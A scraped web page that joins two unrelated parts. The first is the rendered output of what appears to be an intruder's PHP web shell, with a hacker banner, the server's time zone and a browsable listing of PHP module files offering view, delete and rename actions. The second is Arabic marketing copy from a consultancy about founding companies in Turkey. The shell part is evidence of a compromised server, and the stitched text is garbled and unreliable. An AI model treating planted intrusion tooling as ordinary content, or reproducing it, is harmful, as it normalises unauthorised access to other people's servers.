Hell Yeah Pointer 4
     __    Bye Litespeed   _____ 
     ██████   ██████ ███████████       █████████  █████   ████ █████   ████           
░░██████ ██████ ░░███░░░░░███     ███░░░░░███░░███   ███░ ░░███   ███░            
 ░███░█████░███  ░███    ░███    ░███    ░░░  ░███  ███    ░███  ███              
 ░███░░███ ░███  ░██████████     ░░█████████  ░███████     ░███████               
 ░███ ░░░  ░███  ░███░░░░░███     ░░░░░░░░███ ░███░░███    ░███░░███              
 ░███      ░███  ░███    ░███     ███    ░███ ░███ ░░███   ░███ ░░███             
 █████     █████ █████   █████   ░░█████████  █████ ░░████ █████ ░░████                        
Zona waktu server: Asia/Riyadh
Waktu server saat ini: 2026-03-03 02:10:25
curdir: / / opt / alt / php70 / usr / lib64 / php / modules / [ GO Home ]


Item Name
Size
Date
Permissions
View
Delete
Rename
. 4096 2026-01-14 04:01:18 0755
.. 4096 2026-01-04 13:16:31 0755
amqp.so 183536 2024-09-02 17:27:14 0755
apc.so 16760 2024-08-04 20:11:16 0755
apcu.so 92216 2024-08-04 18:41:01 0755
apm.so 49760 2024-06-24 12:35:49 0755
bcmath.so 38144 2025-07-09 10:36:51 0755
bitset.so 28872 2025-02-23 07:46:32 0755
brotli.so 795416 2019-12-18 13:31:40 0755
clos_ssa.so 28112 2025-07-02 17:55:44 0755
dba.so 60392 2025-07-09 10:36:51 0755
dbase.so 41920 2024-09-10 18:39:26 0755
diseval.so 12168 2024-11-18 19:05:07 0755
dom.so 187320 2025-07-09 10:36:51 0755
eio.so 113416 2024-05-23 04:22:41 0755
enchant.so 30192 2025-07-09 10:36:51 0755
fileinfo.so 3169648 2025-07-09 10:36:51 0755
gd.so 388672 2025-07-09 10:36:51 0755
gearman.so 115592 2025-02-18 21:56:19 0755
gender.so 5888008 2024-03-15 14:54:55 0755
geoip.so 29504 2025-02-25 21:03:12 0755
geos.so 90768 2024-02-20 23:52:34 0755
gmagick.so 307024 2024-07-31 20:37:57 0755
gnupg.so 63504 2024-09-02 17:33:10 0755
grpc.so 10118336 2024-02-22 15:31:16 0755
htscanner.so 20320 2025-02-25 16:51:01 0755
http.so 498456 2024-07-11 16:54:10 0755
i360.so 944888 2025-12-18 11:50:42 0755
igbinary.so 58264 2024-02-16 00:52:12 0755
imagick.so 14757320 2025-06-30 14:36:10 0755
imap.so 100768 2025-07-09 10:36:51 0755
inotify.so 16216 2025-02-25 21:07:35 0755
interbase.so 97072 2025-07-09 10:36:51 0755
intl.so 503728 2025-07-09 10:36:51 0755
ioncube_loader.so 1362672 2025-12-02 22:02:16 0755
ixed.7.0.lin 131048 2025-04-23 18:28:53 0755
jsmin.so 25192 2025-02-26 06:23:47 0755
json.so 42072 2025-07-09 10:36:51 0755
ldap.so 67096 2025-07-09 10:36:51 0755
libsodium.so 99184 2025-05-29 05:54:21 0755
luasandbox.so 92336 2024-07-25 18:25:37 0755
lzf.so 21168 2025-05-14 17:32:04 0755
mailparse.so 67400 2025-05-14 17:28:29 0755
mbstring.so 1455640 2025-07-09 10:36:51 0755
mcrypt.so 46760 2025-07-09 10:36:51 0755
memcache.so 127616 2024-02-22 14:47:56 0755
memcached.so 126864 2024-02-16 05:35:43 0755
mongodb.so 1482904 2024-05-24 23:06:27 0755
msgpack.so 75176 2024-03-20 18:48:43 0755
mysqli.so 162776 2025-08-01 21:33:28 0755
mysqlnd.so 292248 2025-07-09 10:36:51 0755
nd_mysqli.so 144176 2025-07-09 10:36:51 0755
nd_pdo_mysql.so 34256 2025-07-09 10:36:51 0755
newrelic.so 1226920 2024-02-22 14:00:31 0755
oauth.so 105232 2024-09-30 15:15:17 0755
oci8.so 207128 2024-10-17 01:49:26 0755
odbc.so 75400 2025-07-09 10:36:51 0755
opcache.so 205816 2025-07-09 10:36:51 0755
pdf.so 179536 2024-09-02 17:32:51 0755
pdo.so 114248 2025-07-09 10:36:51 0755
pdo_dblib.so 30248 2025-07-09 10:36:51 0755
pdo_firebird.so 34336 2025-07-09 10:36:51 0755
pdo_mysql.so 37720 2025-08-01 21:33:28 0755
pdo_oci.so 38720 2025-07-09 10:36:51 0755
pdo_odbc.so 30312 2025-07-09 10:36:51 0755
pdo_pgsql.so 51568 2025-07-09 10:36:51 0755
pdo_sqlite.so 34728 2025-07-09 10:36:51 0755
pdo_sqlsrv.so 374872 2024-10-23 19:10:33 0755
pgsql.so 150944 2025-07-09 10:36:51 0755
phalcon4.so 6971488 2022-09-02 12:18:37 0755
phar.so 292424 2025-07-09 10:36:51 0755
phpiredis.so 100584 2023-05-18 16:14:48 0755
posix.so 37968 2025-07-09 10:36:51 0755
propro.so 40888 2024-07-10 14:41:29 0755
protobuf.so 468536 2024-07-12 14:23:08 0755
pspell.so 29232 2025-07-09 10:36:51 0755
psr.so 67680 2025-05-21 21:03:02 0755
raphf.so 24520 2024-07-10 14:41:00 0755
rar.so 338888 2024-03-18 16:08:31 0755
recode.so 12392 2025-07-09 10:36:51 0755
redis.so 687856 2024-04-15 15:33:24 0755
rrd.so 42712 2024-07-31 17:18:11 0755
snmp.so 59288 2025-07-09 10:36:51 0755
snuffleupagus.so 150576 2024-12-09 14:43:49 0755
soap.so 325744 2025-07-09 10:36:51 0755
sockets.so 93040 2025-07-09 10:36:51 0755
sodium.so 99184 2025-05-29 05:54:21 0755
solr.so 349312 2024-06-14 20:27:38 0755
sqlsrv.so 367176 2024-10-23 19:10:33 0755
ssh2.so 89512 2025-05-29 15:45:43 0755
stats.so 178032 2024-10-17 01:50:58 0755
suhosin7.so 154640 2019-12-18 14:50:23 0755
swoole.so 1592936 2024-03-21 15:24:04 0755
sysvmsg.so 20768 2025-07-09 10:36:51 0755
sysvsem.so 12384 2025-07-09 10:36:51 0755
sysvshm.so 16616 2025-07-09 10:36:51 0755
tideways_xhprof.so 33168 2025-04-22 20:29:01 0755
tidy.so 59280 2025-07-09 10:36:51 0755
timezonedb.so 753384 2025-01-15 16:15:11 0755
trader.so 821368 2024-05-20 21:22:46 0755
uploadprogress.so 16192 2024-01-31 19:53:15 0755
uuid.so 20536 2024-03-06 18:23:00 0755
vips.so 53336 2025-05-28 17:57:03 0755
wddx.so 37672 2025-07-09 10:36:51 0755
weakref.so 32744 2024-06-26 17:25:04 0755
xdebug.so 306288 2024-03-27 18:44:27 0755
xdiff.so 66688 2025-05-23 04:56:19 0755
xmlreader.so 38128 2025-07-09 10:36:51 0755
xmlrpc.so 89800 2025-07-09 10:36:51 0755
xmlwriter.so 50224 2025-07-09 10:36:51 0755
xray.so 88016 2025-10-20 15:05:11 0755
xsl.so 38576 2025-07-09 10:36:51 0755
yaf.so 299696 2025-05-29 15:26:56 0755
yaml.so 54632 2024-07-19 13:44:21 0755
yaz.so 58792 2024-05-23 15:23:27 0755
zip.so 68600 2025-07-09 10:36:51 0755
zmq.so 101512 2024-07-31 21:09:03 0755
مجموعة كريم - الشركات

الخدمات

تأسيس الشركات في تركيا

الكثير من التجار عندما يُفكرون بفتح شركة في تركية يرون أنه أمر في غاية الصعوبة ويحتاج الكثير من الأوراق ولكن مجموعة كريم للاستشارات القانونية تستطيع تسهيل جميع المستندات المطلوبة من الحكومة التركية ولنتعرف على أنواع تأسيس الشركات في تركيا.

عند البدء في تأسيس شركة في تركيا يجب تحديد نوع الشركة المراد تأسيسها، حيث أن هناك عدة أنواع من الشركات تختلف باختلاف حجم الشركة ومسؤولياتها، وهي كالتالي:

  1. شركات ذات مسؤولية محدودة:

هذا النوع من الشركات لأصحاب الأعمال الصغيرة والمتوسطة ولتأسيس هذا النوع من الشركات، من الضروري وجود شخص واحد على الأقل من المؤسسين.

ويكون الحد الأدنى لرأس مال الشركة 10000 ليرة تركية للفرد و12500 ليرة تركية لشخصين.

 

  1. شركات المساهمة:

ينقسم رأس مال الشركة إلى عدة أسهم يتم توزيعها على المساهمين.

يتطلب تأسيس هذا النوع من الشركات وجود خمسة مساهمين على الأقل.

الحد الأدنى لرأس مال الشركة 50،000 ليرة تركية.

يمكن للشركات العامة المحدودة القيام بأي نوع من الأنشطة التجارية والصناعية التي يسمح بها القانون التركي.

 

  1. شركات توصية بسيطة:

تأسست هذه الشركة لتشغيل مشروع تجاري تحت اسم تجاري محدد التمويل وهو فقط من المؤسسات القانونية.

لا يوجد حد أدنى لرأس المال المطلوب.

تقتصر مسؤولية أي من المساهمين على رأس المال المكتتب به والمدفوع من قبل المساهمين.

وتحدد لوائح حقوق المساهمين والتزاماتهم.

مزايا تأسيس شركة في تركيا:

عند قيامك بتأسيس شركة في تركيا تحصل على المزايا التالية:

  • سوق مصنّف من بين أفضل 20 سوقا اقتصادياً في العالم ويتمتع بقوة شرائية كبيرة.
  • سهولة تسويق منتجك أو خدماتك داخل الاتحاد الأوروبي او في الشرق الاوسط.
  • سهولة عملية التصدير لأن الحكومة التركية تعفي الصادرات من أي ضرائب الاستثمارية في تركيا.
  • تأمين طبي لك ولعائلتك مع علاج مجاني في جميع مستشفيات الدولة.
  • المدارس والجامعات مجانية لأفراد عائلتك.
  • الضمان الاجتماعي، وهو مبلغ تمنحه الحكومة التركية في حالة إغلاق شركتك أو خسارتها، لكن يجب أن تظل الشركة سارية المفعول لمدة عامين على الأقل وألا تنشئ شركة وهمية.
  • الحصول على بطاقة التاجر في تركيا، والتي تتيح لك الحصول على جميع المعلومات حول المناقصات والمعارض في الدولة.

هناك العديد من المزايا التي ستحصل عليها من خلال تأسيس شركة في تركيا ويمكنك الاستفادة من جميع العروض التي تقدمها مجموعة كريم للاستشارات القانونية ويمكننا توفير جميع الأوراق من ترجمة إلى التقديم حتى الانتهاء من تأسيس الشركة فقط قم بالتواصل معنا على الرقم

Shape